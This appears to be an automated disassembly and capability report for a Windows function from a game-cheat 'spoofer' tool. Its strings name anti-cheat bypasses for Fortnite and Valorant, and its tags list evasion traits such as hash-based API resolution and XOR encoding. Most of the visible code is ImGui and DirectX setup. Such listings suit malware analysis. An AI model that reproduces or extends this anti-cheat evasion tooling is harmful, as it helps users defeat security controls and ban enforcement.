Function at 0x14005a970
Capabilities:
Access peb ldr_data
Check if file exists
Create directory
Create process on windows
Create thread
Delete file
Encode data using xor
Execute command
Get file attributes
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x748]
sub rsp, 0x848
lea rcx, [0x14039a660]
call fcn.1400ddc60
mov ecx, 8
call fcn.140134038
lea rcx, [0x1400589f0]
xor r15d, r15d
mov r9, rax
lea r8, [0x140041720]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005fdcf
mov qword [rsp + 0x840], r12
cmp dword [rbp + 0x48], r15d
je 0x14005fdc3
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005fdc3
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x40], xmm0
call fcn.140134038
lea rcx, [0x1400414a0]
mov r9, rax
lea r8, [0x140041720]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005fdb3
cmp dword [rbp + 0x48], r15d
je 0x14005fda7
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005fda7
mov qword [rsp + 0x860], rbx
lea rax, [0x14005fdf0]
mov qword [rsp + 0x868], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x870], rdi
mov edx, 0x7f00
mov qword [rsp + 0x830], r14
xor ecx, ecx
movaps xmmword [rsp + 0x7c0], xmm12
movdqa xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x300], 0x50
mov dword [rbp + 0x304], 0x40
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], r15
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x320], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, str.ImRaze_Design_fixed
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x328], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x340], r14
xor ecx, ecx
mov qword [rbp + 0x338], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x300]
mov qword [rbp + 0x348], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140398ce4]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x140398ce0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140398ce4]
xor ecx, ecx
movss xmm12, dword [0x1401777c4]
cdq
sub eax, edx
mulss xmm0, xmm12
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140398ce0]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
cdq
mov qword [rsp + 0x50], r15
sub eax, edx
mov rdx, qword [rbp + 0x340]
mov r8, r14
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm12
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x14039a000], rax
lea edx, [r15 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x14039a000]
lea edx, [r15 - 0x14]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [r15 + 2]
mov rcx, qword [0x14039a000]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140177940]
lea rdx, [rbp + 0x3f8]
mov rcx, qword [0x14039a000]
movdqu xmmword [rbp + 0x3f8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14039a000]
lea rdx, [0x14039a028]
xorps xmm0, xmm0
movups xmmword [0x14039a028], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x14039a000]
lea ecx, [r15 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x14039a990], rax
mov rcx, rax
test rax, rax
je 0x14005fd56
lea rdx, [0x14039a998]
mov qword [0x14039a9a0], r15
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x14039a9a0]
mov qword [0x14039a9ac], r15
mov qword [rsp + 0x28], rdx
mov r8d, r12d
mov dword [0x14039a9b4], r15d
xor edx, edx
mov qword [0x14039a9bc], r15
mov dword [0x14039a9c4], r15d
mov qword [0x14039a9d4], r15
mov dword [0x14039a9c8], r12d
mov dword [0x14039a9b8], r12d
mov dword [0x14039a9a8], r15d
mov dword [0x14039a9cc], r12d
mov dword [0x14039a9d0], 0x50
mov dword [0x14039a9dc], r12d
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14005fd4f
mov rcx, qword [0x14039a000]
lea edx, [r15 + 0xa]
mov qword [rsp + 0x838], r13
movaps xmmword [rsp + 0x820], xmm6
movaps xmmword [rsp + 0x810], xmm7
movaps xmmword [rsp + 0x800], xmm8
movaps xmmword [rsp + 0x7f0], xmm9
movaps xmmword [rsp + 0x7e0], xmm10
movaps xmmword [rsp + 0x7d0], xmm11
movaps xmmword [rsp + 0x7b0], xmm13
movaps xmmword [rsp + 0x7a0], xmm14
movaps xmmword [rsp + 0x790], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14039a000]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x140399f90]
mov ecx, 0x61c8
mov rdi, qword [0x140399fa0]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, qword [0x140399fa0]
mov r9, rax
test r8, r8
je 0x14005ae1f
movsx rax, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f90]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14005ae14
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r15d
inc word [rdx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14005ae30
xor edx, edx
mov rcx, r9
call fcn.1400032d0
jmp 0x14005ae33
mov rax, r15
mov qword [0x140399fa0], rax
call fcn.140007d30
test rdi, rdi
je 0x14005ae4d
mov qword [0x140399fa0], rdi
jmp 0x14005ae54
mov rdi, qword [0x140399fa0]
test rdi, rdi
jne 0x14005ae7a
mov r8d, 0x10d9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x140399fa0]
or dword [rdi + 8], 3
xor ecx, ecx
call fcn.140023250
mov rcx, qword [0x14039a000]
call fcn.14003ef70
mov rbx, qword [0x140399fa0]
mov rsi, qword [0x14039a998]
test rbx, rbx
jne 0x14005aec5
mov r8d, 0x10d9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140399fa0]
cmp qword [rbx + 0x98], r15
je 0x14005aee8
mov r8d, 0x11f
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x140399f90]
mov ecx, Ordinal_41
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, qword [0x140399fa0]
mov r8, rax
test r9, r9
je 0x14005af68
movsx rdx, word [r9 + 0x6078]
lea rax, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f90]
lea rax, [rax + rdx*8]
cmp dword [rax], r10d
je 0x14005af5d
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rax, [rax*8 + 0x607c]
add rax, r9
mov dword [rax], r10d
mov dword [rax + 4], r15d
inc word [rax + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x14005af8e
mov qword [r8], r15
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], r15
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x14005af91
mov r8, r15
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0x88], rax
mov rcx, rsi
mov qword [rbx + 0x98], r8
mov qword [r8], rsi
mov rax, qword [rsi]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi + 0x38]
xorps xmm6, xmm6
movups xmmword [rbp + 0x3a0], xmm6
mov eax, 0xffff
mov dword [rbp + 0x3a0], 0x3f800000
movups xmmword [rbp + 0x360], xmm6
mov dword [rbp + 0x368], 2
movups xmmword [rbp + 0x390], xmm6
mov dword [rbp + 0x36c], r12d
movups xmmword [rbp + 0x350], xmm6
mov byte [rbp + 0x35c], r12b
mov dword [rbp + 0x394], 0x7f7fffff
mov dword [rbp + 0x3a4], 0x3f800000
mov word [rbp + 0x3a8], ax
mov dword [rbp + 0x39c], 0x30c
cmp byte [rbx + 0x18], r15b
je 0x14005b045
mov r8d, 0xbc7
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm8, xmmword [rbp + 0x350]
movaps xmm9, xmmword [rbp + 0x360]
movq r15, xmm8
movaps xmm10, xmmword [rbp + 0x390]
movaps xmm11, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x450], xmm8
movaps xmmword [rbp + 0x460], xmm9
movaps xmmword [rbp + 0x470], xmm6
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm10
movaps xmmword [rbp + 0x4a0], xmm11
movaps xmmword [rbp + 0x4b0], xmm6
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
test r15, r15
je 0x14005b0cc
mov r8d, 0xbc9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rsi, [0x140260250]
mov dword [rbp + 0x458], 0x133ec
lea r13, [0x14016ff60]
mov qword [rbp + 0x450], rsi
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x488], r13
mov rcx, rbx
mov dword [rbp + 0x464], 0x41600000
call fcn.140029290
mov rbx, qword [rdi + 0x38]
cmp byte [rbx + 0x18], 0
je 0x14005b12f
mov r8d, 0xbc7
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x450], xmm8
movaps xmmword [rbp + 0x460], xmm9
movaps xmmword [rbp + 0x470], xmm6
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm10
movaps xmmword [rbp + 0x4a0], xmm11
movaps xmmword [rbp + 0x4b0], xmm6
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
test r15, r15
je 0x14005b191
mov r8d, 0xbc9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14031f5e0]
mov dword [rbp + 0x458], 0x1329c
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x450], rax
mov rcx, rbx
mov dword [rbp + 0x464], 0x41600000
mov qword [rbp + 0x488], r13
call fcn.140029290
mov rbx, qword [rdi + 0x38]
mov qword [0x14039aa00], rax
cmp byte [rbx + 0x18], 0
je 0x14005b1f4
mov r8d, 0xbc7
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x450], xmm8
movaps xmmword [rbp + 0x460], xmm9
movaps xmmword [rbp + 0x470], xmm6
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm10
movaps xmmword [rbp + 0x4a0], xmm11
movaps xmmword [rbp + 0x4b0], xmm6
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
test r15, r15
je 0x14005b256
mov r8d, 0xbc9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x450], rsi
mov rcx, rbx
mov dword [rbp + 0x458], 0x133ec
mov dword [rbp + 0x464], 0x41500000
mov qword [rbp + 0x488], r13
call fcn.140029290
mov qword [0x14039a9e8], rax
lea rsi, [0x14039ad60]
mov ebx, reloc.WS2_32.dll_ntohl
lea r12, [0x140398380]
xorps xmm13, xmm13
nop word [rax + rax]
mov r14, qword [rdi + 0x38]
movd xmm7, ebx
cvtdq2ps xmm7, xmm7
cmp byte [r14 + 0x18], 0
je 0x14005b2dc
mov r8d, 0xbc7
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x450], xmm8
movaps xmmword [rbp + 0x460], xmm9
movaps xmmword [rbp + 0x470], xmm6
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm10
movaps xmmword [rbp + 0x4a0], xmm11
movaps xmmword [rbp + 0x4b0], xmm6
movaps xmmword [rbp + 0x4c0], xmm6
movaps xmmword [rbp + 0x4d0], xmm6
test r15, r15
je 0x14005b33e
mov r8d, 0xbc9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
comiss xmm7, xmm13
mov qword [rbp + 0x450], r12
mov dword [rbp + 0x458], 0x8d0
jbe 0x14005b35d
movss dword [rbp + 0x464], xmm7
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x488], r13
mov rcx, r14
call fcn.140029290
mov qword [rsi], rax
inc ebx
add rsi, 8
cmp ebx, 0x28
jle 0x14005b2b0
cmp qword [0x14039a018], 0
mov r12d, 1
jne 0x14005b400
mov rcx, qword [0x14039a998]
lea rax, [0x14039a018]
mov qword [rsp + 0x70], rax
lea rdx, [0x1402db490]
xor esi, esi
mov r9d, 0x780
mov qword [rsp + 0x68], rsi
mov r8d, 0x3b9bc
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x438
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
jmp 0x14005b402
xor esi, esi
cmp qword [0x14039a020], 0
jne 0x14005b473
mov rcx, qword [0x14039a998]
lea rax, [0x14039a020]
mov qword [rsp + 0x70], rax
lea rdx, [0x1403980c0]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x294
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14039a008], 0
jne 0x14005b4e4
mov rcx, qword [0x14039a998]
lea rax, [0x14039a008]
mov qword [rsp + 0x70], rax
lea rdx, [0x14021e100]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x4f83
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14039a010], 0
jne 0x14005b555
mov rcx, qword [0x14039a998]
lea rax, [0x14039a010]
mov qword [rsp + 0x70], rax
lea rdx, [0x140223090]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x410e
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
movss xmm11, dword [0x140177914]
xor r15b, r15b
movss xmm14, dword [0x14017788c]
mov r13, 0xffffffffffffffff
movss xmm7, dword [0x1401777f4]
movss xmm10, dword [0x14017783c]
movss xmm15, dword [0x140177874]
movss xmm9, dword [0x140177834]
movss xmm8, dword [0x1401777fc]
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x660]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14005b610
nop
lea rcx, [rbp + 0x660]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x660]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x668], 0x12
lea rcx, [rbp + 0x660]
movzx r15d, r15b
cmove r15d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14005b5c0
test r15b, r15b
jne 0x14005e9da
mov ecx, dword [0x14039a238]
test ecx, ecx
je 0x14005b6a0
mov eax, dword [0x14039a23c]
test eax, eax
je 0x14005b6a0
mov dword [0x14039a9a0], ecx
mov dword [0x14039a9a4], eax
mov dword [0x14039a23c], esi
mov dword [0x14039a238], esi
call fcn.14003eec0
mov rcx, qword [0x14039a998]
lea rdx, [0x14039a9a0]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005b67d
mov r8d, 0x81d
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedexamplesexample_win32_directx9main.cpp
lea rcx, [0x140164eb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
test rax, rax
je 0x14005b6ba
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b6a7
cmp qword [rcx], 0
je 0x14005b6a7
call fcn.14003ec50
mov rax, qword [0x140399fa0]
test rax, rax
je 0x14005b6ba
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14005b6de
jmp 0x14005b6bd
mov rbx, rsi
mov r8d, 0x17c
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
cmp qword [rbx + 0x18], 0
jne 0x14005b701
test rax, rax
je 0x14005b701
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b701
cmp qword [rcx], 0
je 0x14005b701
call fcn.14003ec50
call fcn.14003fd80
call fcn.14000aad0
mov r14, qword [0x140399fa0]
movss xmm0, dword [0x140398ce0]
movss xmm1, dword [0x140398ce4]
mov qword [r14 + 0x49f8], 0
mov qword [r14 + 0x4a00], 0
mov dword [r14 + 0x49ec], r12d
or dword [r14 + 0x49e8], 3
movss dword [r14 + 0x4a08], xmm0
movss dword [r14 + 0x4a0c], xmm1
mov dword [r14 + 0x49f0], r12d
test r14, r14
jne 0x14005b786
mov r8d, 0xbf0
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r14, qword [0x140399fa0]
xor edx, edx
mov qword [r14 + 0x38f8], 0
lea rcx, str.IMGUI
mov qword [r14 + 0x393c], 0
mov dword [r14 + 0x3904], esi
mov dword [r14 + 0x3964], 0x40e00000
lea r8d, [rdx + 0x2b]
call fcn.1400107f0
mov rbx, qword [0x140399fa0]
cmp dword [rbx + 0x4af8], 0
mov rax, qword [rbx + 0x4038]
movsd xmm0, qword [rax + 0x28]
movsd qword [rbp + 0x30], xmm0
jg 0x14005b7fb
mov r8d, 0x76a
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.14000a080
movaps xmm0, xmmword [0x140177b80]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm0
mov rbx, rax
call fcn.140005cf0
movsd xmm0, qword [0x140398ce0]
mov edi, eax
movsd qword [rbp - 0x58], xmm0
mov dword [rbp + 0x1f0], 0x3f800000
mov dword [rbp + 0x1f4], 0x3f800000
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
test eax, 0xff000000
je 0x14005b929
mov rdx, qword [0x14039a018]
cmp rdx, qword [rbx + 0x98]
setne sil
je 0x14005b88a
mov rcx, rbx
call fcn.140023f60
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140023fe0
lea rax, [rbp + 0x1f0]
mov dword [rsp + 0x28], edi
lea r9, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
mov rcx, rbx
lea rdx, [rbp + 0x200]
call fcn.140024120
test sil, sil
je 0x14005b927
cmp dword [rbx + 0x68], 0
jg 0x14005b8ea
mov r8d, 0x780
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
xor esi, esi
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14005b90d
mov eax, esi
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140023cf0
jmp 0x14005b929
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140023cf0
jmp 0x14005b929
xor esi, esi
mov eax, dword [0x14039aa1c]
cmp dword [0x140399fb4], eax
jne 0x14005b93d
movaps xmm6, xmm8
jmp 0x14005b941
movaps xmm6, xmm11
cmp qword [0x140399fa0], 0
jne 0x14005b965
mov r8d, 0x10d9
lea rdx, str.C:UsersikusimpriDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
movss xmm1, dword [rax + 0x18]
mulss xmm1, xmm9
mulss xmm1, xmm6
addss xmm1, dword [0x14039aa24]
comiss xmm13, xmm1
jbe 0x14005b994
mov dword [0x14039aa24], 0
jmp 0x14005b9ac
movaps xmm0, xmm8
minss xmm0, xmm1
ucomiss xmm0, xmm13
movss dword [0x14039aa24], xmm0
jp 0x14005ba13
jne 0x14005ba13
movss xmm0, dword [0x14039aba0]
ucomiss xmm0, xmm13
jp 0x14005ba13
jne 0x14005ba13
movss xmm0, dword [0x140399fb8]
movss xmm6, dword [0x1401778e0]
addss xmm0, xmm8
movss xmm8, dword [0x1401778a0]
movaps xmm2, xmm6
movaps xmm3, xmm8
movss dword [0x140399fb8], xmm0
call fcn.140057330
movss xmm0, dword [0x140399fb8]
comiss xmm0, xmm6
jbe 0x14005ba1c
mov eax, dword [0x140399fb4]
mov dword [0x14039aa1c], eax
mov dword [0x140399fb8], 0
jmp 0x14005ba1c
movss xmm8, dword [0x1401778a0]
mov rbx, qword [0x140399fa0]
lea rdx, [rbp + 0x40]
movss xmm6, dword [0x14039aa24]
mulss xmm6, dword [r14 + 0x38f0]
mov dword [rbp + 0x40], esi
movss xmm0, dword [rbx + 0x38f0]
lea rcx, [rbx + 0x4a70]
movss dword [rbp + 0x44], xmm0
call fcn.140021220
mov ecx, dword [0x14039aa1c]
movss dword [rbx + 0x38f0], xmm6
test ecx, ecx
jne 0x14005c55e
movss xmm0, dword [0x140398ce0]
lea r8, [rbp + 0x208]
mulss xmm0, xmm12
lea rdx, [rbp + 0x210]
xor r9d, r9d
mov dword [rbp + 0x208], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x20c], 0x41200000
movss dword [rbp + 0x210], xmm0
movss xmm0, dword [0x140398ce4]
movss dword [rbp + 0x214], xmm0
call fcn.14002e2a0
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005bae9
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005baf0
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_EAC_BE_UAC
subss xmm1, dword [rax + 0x28]
cmp dword [0x14039a9fc], 0
lea r8, str.Fortnite
movss xmm6, dword [0x1401778b0]
movaps xmm0, xmm14
mov rcx, qword [0x14039a010]
sete dl
unpcklps xmm0, xmm14
subss xmm1, dword [r14 + 0x38f8]
mov dword [rsp + 0x38], esi
movsd qword [rsp + 0x30], xmm0
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002eab0
test al, al
je 0x14005bb57
mov edx, esi
mov dword [0x14039a9fc], edx
jmp 0x14005bb5d
mov edx, dword [0x14039a9fc]
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005bb86
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005bb8d
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_VAN
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14039a020]
lea r8, str.Valorant
movaps xmm0, xmm14
mov dword [rsp + 0x38], esi
cmp edx, r12d
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
